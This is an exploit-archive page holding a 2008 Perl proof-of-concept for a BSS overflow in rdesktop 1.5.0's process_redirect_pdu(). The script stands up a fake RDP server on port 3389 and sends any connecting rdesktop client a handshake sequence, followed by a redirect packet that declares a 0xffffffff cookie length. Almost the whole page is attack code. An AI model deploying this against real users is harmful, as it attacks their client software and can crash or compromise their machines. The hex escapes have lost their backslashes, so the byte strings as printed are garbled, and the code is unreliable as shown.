[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : rdesktop 1.5.0 process_redirect_pdu() BSS Overflow Vulnerability PoC
# Published : 2008-05-11
# Author : Guido Landi
# Previous Title : PHP 5.2.6 sleep() Local Memory Exhaust Exploit
# Next Title : rdesktop 1.5.0 iso_recv_msg() Integer Underflow Vulnerability PoC


#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697

use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

my $evil = 	"x03x00x01x47x02xf0x80x68x00x01x03xebx70x81x38" 	.
		"x01x00x10x00"						. 
		"xc5x32"							.
		"x04x75"							. # PDU TYPE == 0x4 == PDU_REDIRECT
		"xb7xdaxf8x43"						.
		"x01x00x00x00"						.
		"x01x00x00x00"						.
		"xffxffxffxff"						. # len of g_redirect_cookie
		"x41" x 64							; # g_redirect_cookie

while(my $c = $sock->accept())
{
	while(<$c>)
	{
		print $c ONE(), TWO(), THREE(), FOUR(), FIVE(), SIX(), SEVEN(), $evil;
	}
}




sub ONE()
{
	"x03x00x00x0bx06xd0x00x00x12x34x00"
}

sub TWO()
{
	"x03x00x01x49x02xf0x80x7fx66x82x01".
	"x3dx0ax01x00x02x01x00x30x1ax02x01".
	"x22x02x01x03x02x01x00x02x01x01x02".
	"x01x00x02x01x01x02x03x00xffxf8x02".
	"x01x02x04x82x01x17x00x05x00x14x7c".
	"x00x01x2ax14x76x0ax01x01x00x01xc0".
	"x00x4dx63x44x6ex81x00x01x0cx08x00".
	"x04x00x08x00x03x0cx0cx00xebx03x01".
	"x00xecx03x00x00x02x0cxecx00x02x00".
	"x00x00x02x00x00x00x20x00x00x00xb8".
	"x00x00x00x29x60xbbx2fxc4x4dx00x9e".
	"x58x8axb4x85x35x6ax71xeaxadxf9x3d".
	"x0ex5ex8ex87x64x2dx52x42xedxb2x91".
	"x3fxf9x01x00x00x00x01x00x00x00x01".
	"x00x00x00x06x00x5cx00x52x53x41x31".
	"x48x00x00x00x00x02x00x00x3fx00x00".
	"x00x01x00x01x00xf9xa3x35xb2x78x63".
	"x8dx94x65x47x22x54x49x55xaex6fx74".
	"x69x73x6exeex2bxa5xd0x47xf6xc0x89".
	"x2exa0x54xf5x12x87x75xb5x89xf7x83".
	"x48xd9x54xebxdex20x73xd6xd8xf3xee".
	"x0fxf7xc2xaaxa4x79x0ax5ax64x92x53".
	"xc4x75xd4x00x00x00x00x00x00x00x00".
	"x08x00x48x00xf6x20x04x62x5bx2fx04".
	"xaex02x04x4ax7excfx59x02x11xf7x7f".
	"xabx74x95xcex01x4exf6x14x50x0bxd7".
	"x54x8fxf0x92xd5x0cx6fx42xd8x21x98".
	"x9fx87x50x9ax33x6cxefx65x05x5cx4a".
	"x93x51xc1x69x59x7cx3dxf4x63xdcx53".
	"x66x3bx00x00x00x00x00x00x00x00"
}

sub THREE()
{
	"x03x00x00x0bx02xf0x80x2ex00x00x04"
}

sub FOUR()
{
	"x03x00x00x0fx02xf0x80x3ex00x00x04x03xedx03xed"
}

sub FIVE()
{
	"x03x00x00x0fx02xf0x80x3ex00x00x04x03xebx03xeb"
}

sub SIX()
{
	"x03x00x00x0fx02xf0x80x3ex00x00x04x03xecx03xec"
}

sub SEVEN()
{
	"x03x00x00x22x02xf0x80x68x00x01x03xebx70x14x80x02x10x00xffx03x10x00x07x00x00x00x02x00x00x00x30x9ax00x00"
}

# www.Syue.com [2008-05-11]